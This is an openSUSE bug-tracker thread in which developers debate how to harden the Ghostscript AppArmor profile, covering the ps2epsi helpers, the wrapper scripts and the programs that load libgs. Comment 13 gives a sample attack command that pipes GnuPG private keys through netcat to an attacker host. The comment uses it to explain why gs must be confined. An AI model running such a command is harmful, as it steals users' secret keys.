Bug 1134327 - Enhance Ghostscript apparmor profile for ps2epsi
Enhance Ghostscript apparmor profile for ps2epsi
Status: RESOLVED FIXED
Classification: openSUSE
Product: openSUSE Tumbleweed
Classification: openSUSE
Component: Security
Current
All openSUSE Factory
: P5 - None : Enhancement (vote)
: ---
Assigned To: Johannes Segitz
E-mail List
https://rudin.suse.de:8894/request/sh...
:
Depends on:
Blocks: 1150338
  Show dependency treegraph
 
Reported: 2019-05-07 13:01 UTC by Johannes Meixner
Modified: 2019-10-02 10:06 UTC (History)
5 users (show)

See Also:
Found By: Community User
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Johannes Meixner 2019-05-07 13:01:18 UTC
See
https://build.opensuse.org/request/show/701304

Basically this are the intended changes:

+++ ghostscript.changes
@@ -1,0 +2,5 @@
+Tue May  7 11:57:21 UTC 2019 - Dirk Stoecker <opensuse@dstoecker.de>
+
+- Fix apparmor profile for ps2epsi
+
+-------------------------------------------------------------------

other changes:
--------------

++++++ apparmor_ghostscript
--- apparmor_ghostscript
+++ apparmor_ghostscript
@@ -45,4 +45,13 @@
     #include <abstractions/base>
     /usr/bin/dirname mr,
   }
+  
+  # ps2epsi
+  /usr/bin/gawk mrix,
+  /usr/bin/cat mrix,
+  /usr/bin/ls mrix,
+  /usr/bin/mktemp mrix,
+  /usr/bin/rm mrix,
+  /usr/bin/sed mrix,
+  /usr/bin/which mrix,
 }
Comment 1 Johannes Meixner 2019-05-07 13:15:23 UTC
I declined that request with
-----------------------------------------------------------------------
$ osc request decline 701304 --message="Thank you for your valuable
 contribution. Nevertheless I cannot just accept it because
 it lowers securits settings so I declined it and I created
 the openSUSE bug report boo#1134327 where our security team
 who made the AppArmor profile for Ghostscript can decide
 if we accept it."
-----------------------------------------------------------------------

Johannes Segitz
can you have a look here?
Comment 2 Dirk Stoecker 2019-05-07 13:33:43 UTC
Could openSUSE security team please in future not issue obviously wrong AppArmor profiles?

This issue is immediate when calling the tool a single time.

This profile can never have been tested with at least the minimum test calling each tool it affects once.

I'm pretty sure my fix only fixes this one tool. There are many more scripts which very likely call other programs and which will fail as well.

It took me several hours to find out what the issue with my software build was and how it could be solved!
Comment 3 Johannes Segitz 2019-05-08 08:35:52 UTC
(In reply to Dirk Stoecker from comment #2)
Sorry for you trouble. I'll switch the profile to complain for now so that we can improve it to prevent regressions. I'll incorporate your changes
Comment 4 Christian Boltz 2019-05-08 11:34:35 UTC
(In reply to Johannes Meixner from comment #0)
> +  # ps2epsi
> +  /usr/bin/gawk mrix,
> +  /usr/bin/cat mrix,
> +  /usr/bin/ls mrix,
> +  /usr/bin/mktemp mrix,
> +  /usr/bin/rm mrix,
> +  /usr/bin/sed mrix,
> +  /usr/bin/which mrix,

Just wondering - do all these helpers need the permission set of the main profile, or if you could put them into child profiles (using "Cx") that are much more restrictive.

To give some examples:
- gawk and sed possibly work on stdin/stdout, which means no need for file access
- ls in worst case needs   / r,   /**/ r,   to get directory listings
  (and maybe it can even be restricted to specific directories)
- same for which, and you can even limit it to the directories in $PATH
- mktemp probably only needs   owner /tmp/$prefix* w,
- maybe rm only needs to delete the mktemp-created tempfiles, which also means
  it can be restricted to specific paths?

If in doubt, the easiest way to answer all these questions is to revert your additons and to switch the profile to complain mode. Then run ps2epsi and use aa-logprof to update the profile (using "(C)hild" exec mode).
Comment 5 Johannes Meixner 2019-05-09 08:43:15 UTC
Right now I accepted OBS submitrequest
https://build.opensuse.org/request/show/701733
and directly forwarded it to openSUSE:Factory:
-------------------------------------------------------------------------
$ osc request accept 701733 --message="reviewed ok."
Result of change request state: ok
openSUSE:Factory 
Forward this submit to it? ([y]/n)y
- Set AA profile to complain and added fixes for ps2epsi (boo#1134327)
 (forwarded request 701733 from jsegitz)
New request # 701738
-------------------------------------------------------------------------
Comment 6 Johannes Meixner 2019-05-09 08:45:48 UTC
Johannes Segitz
thank you for the prompt fix.

Christian Boltz and Johannes Segitz
thank you both for caring about the AppArmor profile for Ghostscript.
Comment 7 Swamp Workflow Management 2019-05-09 09:10:06 UTC
This is an autogenerated message for OBS integration:
This bug (1134327) was mentioned in
https://build.opensuse.org/request/show/701738 Factory / ghostscript
Comment 8 Johannes Meixner 2019-05-09 09:47:56 UTC
Christian Boltz and Johannes Segitz,

I have a general question here, cf.
https://bugzilla.suse.com/show_bug.cgi?id=1127934#c1

In the current apparmor_ghostscript source file 
https://build.opensuse.org/package/view_file/Printing/ghostscript/apparmor_ghostscript?expand=1
the line
---------------------------------------------------------------------------
profile ghostscript /usr/bin/{dvipdf,eps2eps,gs,gsbj,gsdj,gsdj500,gslj,gslp,gsnd,ps2ascii,ps2epsi,ps2pdf,ps2pdf12,ps2pdf13,ps2pdf14,ps2pdfwr,ps2ps,ps2ps2} flags=(complain) 
---------------------------------------------------------------------------
prevents execution of executables for all those files
---------------------------------------------------------------------------
# for f in /usr/bin/{dvipdf,eps2eps,gs,gsbj,gsdj,gsdj500,gslj,gslp,gsnd,ps2ascii,ps2epsi,ps2pdf,ps2pdf12,ps2pdf13,ps2pdf14,ps2pdfwr,ps2ps,ps2ps2} ; do file $f ; done

/usr/bin/dvipdf: POSIX shell script, ASCII text executable
/usr/bin/eps2eps: POSIX shell script, ASCII text executable
/usr/bin/gs: ELF 64-bit LSB executable, ...
/usr/bin/gsbj: POSIX shell script, ASCII text executable
/usr/bin/gsdj: POSIX shell script, ASCII text executable
/usr/bin/gsdj500: POSIX shell script, ASCII text executable
/usr/bin/gslj: POSIX shell script, ASCII text executable
/usr/bin/gslp: POSIX shell script, ASCII text executable
/usr/bin/gsnd: POSIX shell script, ASCII text executable
/usr/bin/ps2ascii: POSIX shell script, ASCII text executable
/usr/bin/ps2epsi: POSIX shell script, ASCII text executable
/usr/bin/ps2pdf: POSIX shell script, ASCII text executable
/usr/bin/ps2pdf12: POSIX shell script, ASCII text executable
/usr/bin/ps2pdf13: POSIX shell script, ASCII text executable
/usr/bin/ps2pdf14: POSIX shell script, ASCII text executable
/usr/bin/ps2pdfwr: POSIX shell script, ASCII text executable
/usr/bin/ps2ps: POSIX shell script, ASCII text executable
/usr/bin/ps2ps2: POSIX shell script, ASCII text executable
---------------------------------------------------------------------------

But - as far as I understand it - the Ghostscript security issues
are about the actual Ghostscript program (i.e. /usr/bin/gs)
and not about the various helper scripts that are also provided
by Ghostscript.

Basically I wonder if the current AppArmor profile for Ghostscript is

- on the one hand over the top because it prevents execution
  of executables for all those files above

- on the other hand useless in practive because flags=(complain)
  does not prevent execution of arbitrary executables for the
  main security problem which is /usr/bin/gs

Wouldn't it make more sense in practice to actually improve
security for Ghostscript but do that step by step like

- as initial step provide an AppArmor profile that actually prevents
  execution of arbitrary executables but only for /usr/bin/gs

- as subsequent steps enhance that AppArmor profile as needed
  (and only where really needed) to also prevent execution of
  arbitrary executables for the various helper scripts that
  are also provided by Ghostscript

But I know nothing about how AppArmor works
so my above proposal could be just nonsense.
Comment 9 Johannes Segitz 2019-05-10 06:37:45 UTC
(In reply to Johannes Meixner from comment #8)
All those programs process ghostscript in one form or other (meaning using functionality from the library). If that's not correct we can remove them, but it's not only the gs binary that's problematic. It's only the obvious entry point.

> - on the other hand useless in practive because flags=(complain)
>  does not prevent execution of arbitrary executables for the
>  main security problem which is /usr/bin/gs

yes, that is unfortunate and I don't want to keep it this way. We could split it up like you propose, but I think we're not too far away from a profile that should cause problems for users (at least that's my  hope)
Comment 10 Christian Boltz 2019-05-10 11:48:07 UTC
(In reply to Johannes Segitz from comment #9)
> (In reply to Johannes Meixner from comment #8)
> All those programs process ghostscript in one form or other (meaning using
> functionality from the library). If that's not correct we can remove them,
> but it's not only the gs binary that's problematic. It's only the obvious
> entry point.

Agreed, both ghostscript and the "wrapper scripts" should be restricted.

However, it might be a good idea to have a separate profile for a) ghostscript and b) all the wrapper scripts because that would allow both to be more restrictive without breaking something.

I had a quick look at the wrapper scripts - they are all quite short, so it's probably possible to write a profile for them by just reading them (doing a test run of course can't hurt). Additionally, it seems reading and writing files is only done by ghostscript itsself, so giving the wrapper scripts directory read access ("/ r, /**/ r,") might be enough (untested!)


Johannes (Meixner), will you come to the openSUSE Conference? If yes, we can/should meet and work on the profile. With combined ghostscript and AppArmor knownledge, doing the split should be easy ;-)

> yes, that is unfortunate and I don't want to keep it this way. We could
> split it up like you propose, but I think we're not too far away from a
> profile that should cause problems for users (at least that's my  hope)

The bugreports say we already have that *SCNR* - maybe you should 
s/should/shouldn't/ ;-)
Comment 11 Johannes Segitz 2019-05-10 12:12:35 UTC
(In reply to Christian Boltz from comment #10)
A Freudscher Versprecher :) 

I'll be at openSUSEcon on Friday, maybe we three could sit together for an hour and work on that.
Comment 12 Christian Boltz 2019-05-10 12:26:53 UTC
(In reply to Johannes Segitz from comment #11)
> (In reply to Christian Boltz from comment #10)
> A Freudscher Versprecher :) 

;-)

> I'll be at openSUSEcon on Friday, maybe we three could sit together for an
> hour and work on that.

Yes, that sounds like a good idea :-)
Note: I'll have to leave for a while in Friday evening, so let's pick something earlier that day. Or we could meet in the early wednesday or thursday morning @SUSE before the board meeting starts.)


Little addition to comment #10: ps2epsi is a bit special because it uses mktemp to create a tempfile, and therefore of course needs write permissions for 
"owner /tmp/ps2epsi* rw,"

See also bug 1134722 - creating tempfiles isn't as easy as it looks ;-)
Comment 13 Johannes Meixner 2019-05-10 12:30:17 UTC
Johannes Segitz,

as far as I see all those shell scripts are basically wrappers
to call /usr/bin/gs (directly or indirectly) for specific use-cases.

As far as I see none of those shell scripts use functionality
from the Ghostscript library libgs.so.9 in any other way
than by calling /usr/bin/gs.

Perhaps I overlooked some obfuscated case but I think at least
those shell scripts that are wrappers to only call /usr/bin/gs
do not need an AppArmor profile that prevents execution of all
executables, in particular I think preventing execution of basic
Linux/Unix tools like awk cat ls mktemp rm sed and so on ...
should be usually not needed for shell scripts.

In contrast the actual Ghostscript program /usr/bin/gs
must not be allowed to execute such basic Linux/Unix tools
to prevent that a PostScript program can execute things like

cat /home/user/.gnupg/private-keys | netcat server.attacker.net 12345

when an innocent user only liked to view the graphical output
of that malicious PostScript program or save that as another
data format.
Comment 14 Johannes Meixner 2019-05-10 12:38:49 UTC
Christian Boltz,
I will not attend the openSUSE Conference.

In general I wonder why the Ghostscript "wrapper scripts"
should be restricted.

What would be the possible attack here?

All the Ghostscript "wrapper scripts" are installed with
-rwxr-xr-x 1 root root ...
so only root can change them to let them execute unwanted stuff.

But an AppArmor profile for them must allow each of them to execute
what each of them already executes so what is the additional security
of such an AppArmor profile?

Again: I know basically nothing about AppArmor so I may overlook
something that is obvious for those who know about AppArmor.
Comment 15 Christian Boltz 2019-05-12 20:03:46 UTC
(In reply to Johannes Meixner from comment #14)
> Christian Boltz,
> I will not attend the openSUSE Conference.

That's a pity.
Would a meeting at early wednesday or thursday morning (the days before the openSUSE Conference) @SUSE work for you?

> In general I wonder why the Ghostscript "wrapper scripts"
> should be restricted.
> 
> What would be the possible attack here?

Bug 1134722 is one example I found.

I agree that we should have a separate profile for the ghostscript binary, and that the ghostscript binary has a higher risk than the wrapper scripts.

> Again: I know basically nothing about AppArmor

That sounds like a bug ;-) - if you are interested, I can send you my "AppArmor crash course" slides and/or a link to the video recording to get you started.
Comment 16 Johannes Meixner 2019-05-24 08:31:34 UTC
In general it is insufficient to prevent execution
of arbitrary executables only for /usr/bin/gs
because actually it is /usr/lib64/libgs.so.9.*
that contains the actual Ghostscript functionality.

Accordingly all executables that can use /usr/lib64/libgs
(e.g. executables that link directly with libgs
 or indirectly with libgs e.g. via libspectre)
would have to be protected.

I.e. the transitive closure of what can use /usr/lib64/libgs
needs to be determined.

E.g. an offhanded initial attemt on my openSUSE Leap 15.0 system:
-----------------------------------------------------------------------------
# rpm -e --test ghostscript 2>&1 | grep libgs

libgs.so.9()(64bit) is needed by ... graphviz-gnome-2.40.1-lp150.4.30.x86_64
libgs.so.9()(64bit) is needed by ... gimp-2.8.22-lp150.3.8.x86_64
libgs.so.9()(64bit) is needed by ... libspectre1-0.2.8-lp150.2.9.2.x86_64

# for f in $( rpm -ql graphviz-gnome ) ; \
  do ldd $f 2>/dev/null | grep -q 'libgs\.so' && find $f -type f ; \
  done
/usr/lib64/graphviz/libgvplugin_gs.so.6.0.0

# for f in $( rpm -ql gimp ) ; \
  do ldd $f 2>/dev/null | grep -q 'libgs\.so' && find $f -type f ; \
  done
/usr/lib64/gimp/2.0/plug-ins/file-ps

# for f in $( rpm -ql libspectre1 ) ; \
  do ldd $f 2>/dev/null | grep -q 'libgsrpm\.so' && find $f -type f ; \
  done
/usr/lib64/libspectre.so.1.1.8

...

-----------------------------------------------------------------------------
and then what executables need /usr/lib64/graphviz/libgvplugin_gs.so.6.0.0
or /usr/lib64/gimp/2.0/plug-ins/file-ps or /usr/lib64/libspectre.so.1.1.8
and so on ...
Comment 17 Johannes Meixner 2019-05-24 08:50:09 UTC
I fear it is in practice impossible to determine
the transitive closure of what can use /usr/lib64/libgs
because of this example:
---------------------------------------------------------------------------
# rpm -e --test libspectre1 2>&1 | grep libspectre
libspectre.so.1()(64bit) is needed by ...
 evince-plugin-psdocument-3.26.0+20180128.1bd86963-lp150.2.4.x86_64

# for f in $( rpm -ql evince-plugin-psdocument ) ; \
  do ldd $f 2>/dev/null | grep -q 'libspectre\.so' && find $f -type f ; \
  done
/usr/lib64/evince/4/backends/libpsdocument.so

# rpm -e --test evince-plugin-psdocument
[no output]

# rpm -qi evince-plugin-psdocument
...
Summary     : Evince - PS document support
Description :
Add PostScript document support to Evince
...

# ldd /usr/bin/evince | egrep 'libpsdocument\.|libspectre\.|libgs\.'
[no output]
---------------------------------------------------------------------------

Accordingly it seems /usr/bin/evince is a possible user of libgs
but there is no hardcoded dependency of evince on libpsdocument
or libspectre or libgs so that it seems is in parctice impossible
to determine that /usr/bin/evince is a possible user of libgs.

I fear the whole AppArmor attempt is a dead end in parctice
except AppArmor could be configured to confine what libgs itself
is allowed to do and only libgs itself but not other stuff.

E.g. /usr/bin/evince may need to call various other executables
but only when evince is inside libgs (i.e. only while evince
is actually using Ghostscript functionality) it is intended
to prevent execution of arbitrary executables.
Comment 18 Johannes Meixner 2019-05-24 08:52:09 UTC
I wished I could edit typos in bugzilla comments:
"in parctice" -> "in practice"
Comment 19 Christian Boltz 2019-06-26 11:16:20 UTC
(In reply to Johannes Meixner from comment #17)
> I fear the whole AppArmor attempt is a dead end in parctice
> except AppArmor could be configured to confine what libgs itself
> is allowed to do and only libgs itself but not other stuff.
> 
> E.g. /usr/bin/evince may need to call various other executables
> but only when evince is inside libgs (i.e. only while evince
> is actually using Ghostscript functionality) it is intended
> to prevent execution of arbitrary executables.

You can switch to a specific AppArmor profile during runtime.
To do this, libgs has to call aa_change_profile() (from libapparmor) to switch to a specific profile (this obviously needs a small libgs patch to do that call). 
If this sounds good to you, feel free to ask for details ;-)

(Besides that, confining Evince, Okular and other PDF viewers probably isn't the worst idea.)
Comment 20 Johannes Meixner 2019-07-04 14:06:57 UTC
Offhandedly I see the issues:

(A)
I know basically nothing about Ghostscript internals
but I think in general a library can be considered
as a program with many "entry points" where each function
that is provided by the library is such an "entry point".

Accordingly to limit what inside a library can be done
the limitation must happen at all its "entry points"
i.e. for all its functions that can be called "from outside".

(B)
I know absolutely nothing about programming with libapparmor.
I wonder how to switch back to the AppArmor profile before
i.e. I think things should happen basically like this:

1. save current AppArmor profile
2. add Ghostscript restrictions to the current AppArmor profile
3. do the actual Ghostscript functionality
4. restore the saved AppArmor profile

(C)
When the Ghostscript library calls functions in libapparmor
there would be a hard requirement of AppArmor by Ghostscript
but some users do not like to have any AppArmor stuff,
see bug #1134289
Comment 21 Dr. Werner Fink 2019-09-11 11:45:33 UTC
Remark: Using apparmor for the wrapper scripts calling /usr/bin/gs is simply useless.  In other words: do not do this and be fine as well as secure. The binary /usr/bin/gs (or now /usr/bin/gs.bin wit haltest package) and its library libgs.so.<ghostscrpt_version> as well as all other binaries using this library have to be checked by apparmor.
Comment 22 Dr. Werner Fink 2019-09-11 11:57:34 UTC
(In reply to Dr. Werner Fink from comment #21)
> Remark: Using apparmor for the wrapper scripts calling /usr/bin/gs is simply
> useless.  In other words: do not do this and be fine as well as secure. The
> binary /usr/bin/gs (or now /usr/bin/gs.bin wit haltest package) and its
> library libgs.so.<ghostscrpt_version> as well as all other binaries using
> this library have to be checked by apparmor.

To see this simply take the path from profile starting line and run file

 > file /usr/bin/{dvipdf,eps2eps,gs,gsbj,gsdj,gsdj500,gslj,gslp,gsnd,ps2ascii,ps2epsi,ps2pdf,ps2pdf12,ps2pdf13,ps2pdf14,ps2pdfwr,ps2ps,ps2ps2}
 /usr/bin/dvipdf:   POSIX shell script, ASCII text executable
 /usr/bin/eps2eps:  POSIX shell script, ASCII text executable
 /usr/bin/gs:       symbolic link to /etc/alternatives/gs
 /usr/bin/gsbj:     POSIX shell script, ASCII text executable
 /usr/bin/gsdj:     POSIX shell script, ASCII text executable
 /usr/bin/gsdj500:  POSIX shell script, ASCII text executable
 /usr/bin/gslj:     POSIX shell script, ASCII text executable
 /usr/bin/gslp:     POSIX shell script, ASCII text executable
 /usr/bin/gsnd:     POSIX shell script, ASCII text executable
 /usr/bin/ps2ascii: POSIX shell script, ASCII text executable
 /usr/bin/ps2epsi:  POSIX shell script, ASCII text executable
 /usr/bin/ps2pdf:   POSIX shell script, ASCII text executable
 /usr/bin/ps2pdf12: POSIX shell script, ASCII text executable
 /usr/bin/ps2pdf13: POSIX shell script, ASCII text executable
 /usr/bin/ps2pdf14: POSIX shell script, ASCII text executable
 /usr/bin/ps2pdfwr: POSIX shell script, ASCII text executable
 /usr/bin/ps2ps:    POSIX shell script, ASCII text executable
 /usr/bin/ps2ps2:   POSIX shell script, ASCII text executable

 > rpm -q --whatrequires 'libgs.so.9()(64bit)'
 libspectre1-0.2.8-2.14.x86_64
 graphviz-gnome-2.40.1+git20190410.b0871968d-2.3.x86_64
 texlive-dvisvgm-bin-2019.20190407.svn50358-20120728.3.x86_64
 gimp-2.10.12-1.1.x86_64
 ghostscript-9.27-3.1.x86_64

 > rpm -q --whatrequires 'libspectre.so.1()(64bit)'
 libgoffice-0_10-10-0.10.45-1.1.x86_64
 xreader-backends-1.8.5-1.5.x86_64
 atril-backends-1.22.1-1.3.x86_64
 evince-plugin-psdocument-3.32.0-3.1.x86_64

 > rpm -q --whatrequires 'libgoffice-0.10.so.10()(64bit)'
 libgoffice-0_10-10-0.10.45-1.1.x86_64
 libabiword-3_0-3.0.2-4.6.x86_64
 gnumeric-1.12.45-1.1.x86_64

 > rpm -q --whatrequires 'libabiword-3.0.so()(64bit)'
 libabiword-3_0-3.0.2-4.6.x86_64
 abiword-3.0.2-4.6.x86_64

and here apparmor does not catch the PostScript interpreter used by various programs.
Comment 23 Christian Boltz 2019-09-12 12:06:20 UTC
(In reply to Dr. Werner Fink from comment #21)
> Remark: Using apparmor for the wrapper scripts calling /usr/bin/gs is simply
> useless.  In other words: do not do this and be fine as well as secure. The
> binary /usr/bin/gs (or now /usr/bin/gs.bin wit haltest package) and its
> library libgs.so.<ghostscrpt_version> as well as all other binaries using
> this library have to be checked by apparmor.

Currently we have:

  profile ghostscript /usr/bin/{dvipdf,eps2eps,gs,gsbj,...} flags=(complain) {

... and hidden in that is ...,gs,... - so /usr/bin/gs will be confined by AppArmor. Well, actually you'll need to extend the profile to cover 
/usr/bin/gs.bin because AppArmor checks filenames after symlink resolution.
Comment 24 Dr. Werner Fink 2019-10-02 10:06:42 UTC
Seems to be solved by simply skipping tghe scripts but catching ghostscript its self